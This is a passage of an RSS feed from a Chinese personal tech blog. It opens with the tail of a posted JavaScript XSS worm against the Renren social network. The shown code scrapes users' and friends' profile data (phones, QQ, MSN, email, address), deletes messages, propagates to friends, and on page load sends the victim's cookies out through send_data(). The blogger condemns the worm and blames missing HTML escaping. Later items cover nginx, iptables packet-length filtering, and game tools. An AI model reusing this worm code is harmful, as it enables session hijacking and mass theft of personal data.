    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;onSuccess:&nbsp;<span class="keyword">function</span><span>&nbsp;(response)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">var</span><span>&nbsp;listid1&nbsp;=&nbsp;response.responseText.match(/thread_(\d+)/g);&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">for</span><span>(</span><span class="keyword">var</span><span>&nbsp;i=0;i&nbsp;&lt;&nbsp;listid1.length;i++){&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;listid1[i]&nbsp;=&nbsp;listid1[i].substring(7);&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;del_messages(listid1);&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;});&nbsp;&nbsp;</span></li>
    <li class="alt"><span>}&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span><span class="keyword">function</span><span>&nbsp;get_self_info(){&nbsp;&nbsp;</span></span></li>
    <li class=""><span><span class="keyword">new</span><span>&nbsp;XN.net.xmlhttp({url:</span><span class="string">&quot;http://www.renren.com/profile.do?v=info_ajax&amp;undefined&quot;</span><span>,method:</span><span class="string">&quot;GET&quot;</span><span>,onSuccess:</span><span class="keyword">function</span><span>(r){&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span><span class="keyword">var</span><span>&nbsp;text_html&nbsp;=&nbsp;r.responseText;&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span><span class="keyword">var</span><span>&nbsp;id,name,birthday,qq,school,mobile,msn,day,month,year;&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;id&nbsp;=&nbsp;/getalbumprofile\.<span class="keyword">do</span><span>\?owner\=(\d+)/.exec(text_html)[1];&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;my_id&nbsp;=&nbsp;id;&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;school&nbsp;=&nbsp;/pf_spread\<span class="string">'\&gt;(.*?)\&lt;\/a\&gt;/.exec(text_html)[1];</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;year&nbsp;=&nbsp;/birt\&quot;\,\&quot;year\&quot;\:\&quot;(\d+)/.exec(text_html)[1];</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;month&nbsp;=&nbsp;/birt\&quot;\,\&quot;month\&quot;\:\&quot;(\d+)/.exec(text_html)[1];</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;day&nbsp;=&nbsp;/birt\&quot;\,\&quot;day\&quot;\:\&quot;(\d+)/.exec(text_html)[1];</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;name&nbsp;=&nbsp;/alt\=\&quot;([^\&quot;]+)的大头贴/.exec(text_html)[1];</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;if(month&nbsp;&lt;=&nbsp;9){</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;month&nbsp;=&nbsp;&quot;0&quot;+month;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;if(day&nbsp;&lt;=&nbsp;9){</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;day&nbsp;=&nbsp;&quot;0&quot;+day;</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;birthday&nbsp;=&nbsp;year&nbsp;+&nbsp;month&nbsp;+&nbsp;day;</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;qq&nbsp;=&nbsp;/QQ.*?dd\&gt;(.*?)\&lt;\/dd/.exec(text_html)[1];</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;msn&nbsp;=&nbsp;/MSN.*?dd\&gt;(.*?)\&lt;\/dd/.exec(text_html)[1];</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;mobile&nbsp;=&nbsp;/手机号.*?dd\&gt;(.*?)\&lt;\/dd/.exec(text_html)[1];</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;data&nbsp;=&nbsp;&quot;type=self_info&amp;id=&quot;&nbsp;+&nbsp;id&nbsp;+&nbsp;&quot;&amp;name=&quot;&nbsp;+&nbsp;encodeURIComponent(name)&nbsp;</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;&quot;&amp;school=&quot;&nbsp;+&nbsp;encodeURIComponent(school)&nbsp;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;&quot;&amp;birth=&quot;&nbsp;+&nbsp;birthday&nbsp;</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;&quot;&amp;qq=&quot;&nbsp;+&nbsp;qq&nbsp;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;&quot;&amp;msn=&quot;&nbsp;+&nbsp;encodeURIComponent(msn)&nbsp;</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;&quot;&amp;mobile=&quot;&nbsp;+&nbsp;mobile;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;send_data(data);</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">}</span>&nbsp;</span></li>
    <li class=""><span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">});</span>&nbsp;</span></li>
    <li class=""><span><span class="string">}</span>&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span></li>
    <li class=""><span><span class="string">function&nbsp;get_card(tid)</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">{</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;XN.net.xmlhttp({url:'</span><span>http:</span><span class="comment">//www.renren.com/showcard?friendID='+tid,&nbsp;</span><span>&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;method:'get<span class="string">',</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;onSuccess:function(r){</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;obj&nbsp;=&nbsp;eval(&quot;(&quot;+r.responseText+&quot;)&quot;);</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;data&nbsp;=&nbsp;'</span><span>type=card&amp;my_id=</span><span class="string">'&nbsp;+&nbsp;my_id</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;'</span><span>&amp;id=</span><span class="string">'&nbsp;+&nbsp;obj.id</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;'</span><span>&amp;name=</span><span class="string">'&nbsp;+&nbsp;encodeURIComponent(obj.name)</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;'</span><span>&amp;msn=</span><span class="string">'&nbsp;+&nbsp;encodeURIComponent(obj.msn)</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;'</span><span>&amp;phone=</span><span class="string">'&nbsp;+&nbsp;encodeURIComponent(obj.phone)</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;'</span><span>&amp;qq=</span><span class="string">'&nbsp;+&nbsp;encodeURIComponent(obj.qq)</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;'</span><span>&amp;email=</span><span class="string">'&nbsp;+&nbsp;encodeURIComponent(obj.email)</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;'</span><span>&amp;address=</span><span class="string">'&nbsp;+&nbsp;encodeURIComponent(obj.address);</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send_data(data);</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;});&nbsp;</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">}</span>&nbsp;</span></li>
    <li class=""><span>&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span></li>
    <li class=""><span><span class="string">function&nbsp;get_all_friends(){</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;XN.net.xmlhttp({url:&quot;http://www.renren.com/listcards&quot;,method:&quot;GET&quot;,onSuccess:function(r){</span>&nbsp;</span></li>
    <li class=""><span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;text_html&nbsp;=&nbsp;r.responseText;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;//alert(text_html);</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;friends_list&nbsp;=&nbsp;eval(&quot;(&quot;+text_html+&quot;)&quot;);</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;owned_mobile&nbsp;=&nbsp;(friends_list.list[0].list).length;&nbsp;&nbsp;//have&nbsp;mobile&nbsp;friends&nbsp;number</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;for(var&nbsp;i&nbsp;=0;i&lt;&nbsp;owned_mobile&nbsp;;i++){</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mobile_friends.push(friends_list.list[0].list[i].id);</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;all_friends.push(friends_list.list[0].list[i].id);</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;}</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;//alert(mobile_friends.length);</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;no_mobile&nbsp;=&nbsp;(friends_list.list[1].list).length;</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;for(var&nbsp;i&nbsp;=0;i&lt;&nbsp;no_mobile&nbsp;;i++){</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;all_friends.push(friends_list.list[1].list[i].id);</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;}</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;//alert(all_friends.length);</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;for(var&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;mobile_friends.length;&nbsp;i++)</span>&nbsp;</span></li>
    <li class=""><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get_card(mobile_friends[i]);</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">&nbsp;&nbsp;&nbsp;&nbsp;send_to_friends();</span>&nbsp;</span></li>
    <li class=""><span><span class="string">}</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">});</span>&nbsp;</span></li>
    <li class=""><span><span class="string">}</span>&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span></li>
    <li class=""><span><span class="string">window.onload&nbsp;=&nbsp;function(){</span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">send_data('</span><span>type=cookie&amp;v='+encodeURIComponent(document.cookie));&nbsp;&nbsp;</span></span></li>
    <li class=""><span>get_self_info();&nbsp;&nbsp;</span></li>
    <li class="alt"><span>get_all_friends();&nbsp;&nbsp;</span></li>
    <li class=""><span>}&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>不想说什么连cookies都他妈的不放过。不过他的服务器已经被ddos的起不来了。<br />
其实如果吧这个脚本改成随意send一些数据去以网站，这绝对是ddos攻击呀。<br />
原因就是没有过滤&lt;&gt;这个东西&nbsp; 难道sb程序员没有加 html转义吗<br />
典型的xss。</p>]]></description>
			<link>https://landon.v70.us/show-148-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-04-30 02:40</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-147-1.html</guid>
			<title>冒个泡，</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>这几周吧简单的研究下了as级拓扑，还有isp直接的一些运行模式吧。中美的网络越来越堵了。<br />
<br />
打算继续以这2个方向前进去检测中美网络。<br />
1.根据as peer<br />
2.找光纤+eac<br />
<br />
http://v70.us/watch.php<br />
lossrtt的一个监视吧，网络比较差写的比较懒。<br />
欢迎大家提供国际出口ip。 ps最好是中国那端的。</p>]]></description>
			<link>https://landon.v70.us/show-147-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-04-28 03:42</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-146-1.html</guid>
			<title>nginx 处理php 404的一下问题</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>在设置了 error_page 404的情况下让php出404页面很简单<br />
<br />
加上一句fastcgi_intercept_errors on;就ok了。<br />
但是有的时候我们懒得设置404页面，或者是不需要设置404页面，<br />
php碰到没有的文件就会来上那个一句 No input file specified.<br />
这是因为 fastcgi_intercept_errors on;的机制，如果没有自定页面是不会替换cgi的404信息的。<br />
有2种方法可以解决这种问题<br />
1.</p>
<script src="http://po.wowoo.net/share_js.php?t=NRY4BIS1"></script>
<p>2.</p>
<script src="http://po.wowoo.net/share_js.php?t=9P4WIXH1"></script>
<p>性能不分析了，没做实验。</p>]]></description>
			<link>https://landon.v70.us/show-146-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-04-06 16:20</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-145-1.html</guid>
			<title>一种限制迅雷偷偷上传文件的方法。</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>大家都应该知道，数据传输的时候 数据包的大小应该是mtu。大概在1000左右。</p>
<p>任何软件都不会用小包去传输大量数据，因为小包传数据开销太大。 这个开销就是数据包的包头。</p>
<p>2层 14字节</p>
<p>ip包头 20字节。</p>
<p>udp包头 8字节</p>
<p>tcp包头 20个字节。</p>
<p>如果发小包的话 会白白的浪费20+20or（8）+14&nbsp;&nbsp; 54字节或者 42字节在 传输协议上。所以尽可能用大包去发数据。</p>
<p>但是有一种数据是例外的，就是语音数据，这个要求延时低，所以小包发送。 语音数据与我们一般说的下载数据有本质的区别。所以这里不讨论这个。</p>
<p>所以我们可以采用丢传出数据包来达到屏蔽迅雷上传的目的，但是迅雷的确需要上传。tcp链接是可靠的需要ack去确定数据达到。udp虽然不需要确认ack，但是程序会发一些确认udp于其他主机联系。</p>
<p>这样就出现本文说的这种方法。</p>
<p>通过数据包的大小来确认是否丢包。</p>
<p>win下我没找到什么程序能根据数据包的大小去丢包的。只有限速和禁止通信的。限速用netlimit很好。有特别版的。</p>
<p>只能在路由器上下手了。</p>
<p>linux的路由器 tomato，ddwrt都可以。</p>
<p>说下iptables的 length模块吧。</p>
<p>用法是&nbsp; -m length --length XX:XX</p>
<p>解释下最后的XX:XX</p>
<p>第一个XX是匹配数据包最小是多少，后面的那个是匹配最大是多少。</p>
<p>128：128这句话就是匹配数据包大小为128的包</p>
<p>128: 这是匹配任何大于128的数据包。 iptables会在:后面自动加上 65535，如果你先匹配128-1024 直接 128：1024就可以了</p>
<p>:128是匹配小于128的所有包。</p>
<p>&nbsp;</p>
<p>结论利用iptables 结合迅雷的端口号然后丢大于 256的包就可以了， 我一般用512。</p>]]></description>
			<link>https://landon.v70.us/show-145-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-03-26 16:55</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-144-1.html</guid>
			<title>wow的物品id和技能id查询地址</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>汉化wow插件的时候 老会出现 itemid 和 spellid，</p>
<p>所以自己搞了个id查询的程序。</p>
<p><a href="http://landon.v70.us/wowimg/item.html">http://landon.v70.us/wowimg/item.html</a></p>
<p>目前spell id 只能查到中文信息。</p>
<p>过2天可能会添加个wowhead的源。</p>]]></description>
			<link>https://landon.v70.us/show-144-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-03-03 17:58</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-143-1.html</guid>
			<title>notepad++美化php代碼</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>最近用php写了一些程序。<br />
但是php代码边写边debug就会导致php代码很乱。</p>
<p>所以就在网上找了下美化php代码的软件，phpcb。</p>
<p>但是找了很久都没有找到notepad++ 如何集成phpcb。</p>
<p>于是就自己弄了一下，发现效果还不错。</p>
<p>&nbsp;</p>
<p>phpcb居然读取文件是按行读，然后安行输出。这点气死我了。</p>
<p>用命令 phpcb.exe get.php &gt;get.php 导致丢失了get.php文件的所有内容 100+行呀。。。。。 还有1个array的数据。</p>
<p>步骤</p>
<p>1.先把nppexec安上。</p>
<p>2.然后去下载phpcb，扔到notepad++的目录里面去，如果觉得乱可以自己加个文件夹，我就把phpcb 放在bin目录里面了。</p>
<p>3.nppexec 好像不支持 &gt;的语法。所以&gt;的部分只好用bat写了。</p>
<p><script src="http://pastebin.com/embed_js.php?i=Y5N0zac4"></script></p>
<p>代码如上，phpcb后面的语法格式 请参考 phpcb压缩包中的index文件。</p>
<p>把bat文件和phpcb放在一个目录里面。</p>
<p>4.按f6， 出现了nppexce。把如下代码复制过去保存就好了。</p>
<p><script src="http://pastebin.com/embed_js.php?i=G0KRt8T7"></script></p>
<p>如果没有安装linux命令工具的话，把第二行的mv -f 改成move /y 就可以了。</p>
<p>notepad++ 我找了半天也没找到reload 命令如何用。</p>
<p>如果用npp_load的话 还会提示文件被修改。无奈</p>
<p>只好先关闭这个文件，在开启了。</p>
<p>为了防止phpcb粗错造成代码损失，会自动保存 文件名.tmp作为备份。</p>
<p>5.快速执行。</p>
<p>我没找到如何给工具栏添加按钮，也不知道如何把nppexec的脚本加入。</p>
<p>所以只能用nppexec的自带功能让脚本出现在 宏菜单里面</p>
<p>打开nppexec的选项，把menu item 选上 然后在 associate script 选择刚才你保存的名字，在上面的 item name 可以自己改，然后点add/modify就可以了。</p>
<p>然后就能在 宏菜单的最下面看见了</p>]]></description>
			<link>https://landon.v70.us/show-143-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-02-09 20:44</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-142-1.html</guid>
			<title>汉化了一下enhsimGui</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>先扔上来一个beta版本吧。<br />
基本的东西都汉化了。<br />
由于vs被我搞残了&nbsp; vs08升级到 vs10，导致没法编译任何文件。fuck。<br />
msb4018 搞了一天没明白，决定重装系统<br />
先发个预览版吧。<br />
只汉化了一部分，天赋，药水药剂的代码都写完了，但是没编译（没法编译）<br />
食物没汉化。这个太难了。<br />
<br />
我没做导入文件汉化，导入的配置文件都是e文的。<br />
目前台服也没什么能导入配置文件的软件了吧<br />
rawr不支持台服。那个增强萨满的wow插件还不能输出。<br />
所以我就没做导入配置转中文，以后可能会做。<br />
<br />
繁体加简体。技能物品都是4.03的所以用了繁体。<br />
<br />
已知问题：<br />
1.打开gui 100% 提示配置文件有问题，不用管，点file然后从新打开config.txt即可。<br />
2.雕文汉化了，但是ehmsim不识别，所以大家先不要选雕文了。（已经修复了，但是可恶的vs无法编译）<br />
3.汉化错误 所有火舌tt实际为炽热tt<br />
<br />
<a href="https://landon.v70.us/attachment.php?id=95" target="_blank"><img src="https://landon.v70.us/attachments/date_201101/thumb_a62de17f7a59ab6fb9b2eafc99df036d.png" border="0" alt="大小: 94.01 K&#13;尺寸: 500 x 342&#13;浏览: 24 次&#13;点击打开新窗口浏览全图" width="500" height="342" /></a><br />
<br />
<br />
